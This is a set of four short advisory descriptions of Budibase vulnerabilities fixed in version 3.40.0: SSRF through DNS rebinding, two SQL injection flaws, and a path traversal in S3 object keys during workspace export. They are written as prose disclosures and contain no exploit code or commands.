Budibase before 3.40.0 contains server-side request forgery vulnerabilities in OpenAPI query import and REST query execution that allow authenticated builder-level users to bypass DNS pinning protections through DNS rebinding attacks. Attackers can configure hostnames that resolve to public addresses during validation but resolve to loopback or private addresses during actual connection, allowing access to blocked internal HTTP services.
Budibase before 3.40.0 contains a SQL injection vulnerability in the Oracle datasource connector's post-write row lookup that fails to escape table names in identifiers. Attackers with write permission on a table with a double-quote in its name can inject SQL that executes as the datasource's database user to read or modify arbitrary data.
Budibase before 3.40.0 contains an unauthenticated SQL injection vulnerability in webhook-triggered automations with EXECUTEQUERY steps. Attackers can POST attacker-controlled JSON to the webhook trigger endpoint to inject SQL payloads that execute with builder-configured database credentials, enabling data exfiltration, modification, and persistence in connected datasources like Snowflake.
Budibase before 3.40.0 fails to properly sanitize S3 object keys, allowing authenticated builders to upload files with traversal sequences that are preserved during export. Attackers can craft filenames containing .. segments that escape the temporary directory during workspace export, writing arbitrary content to any path writable by the Budibase process.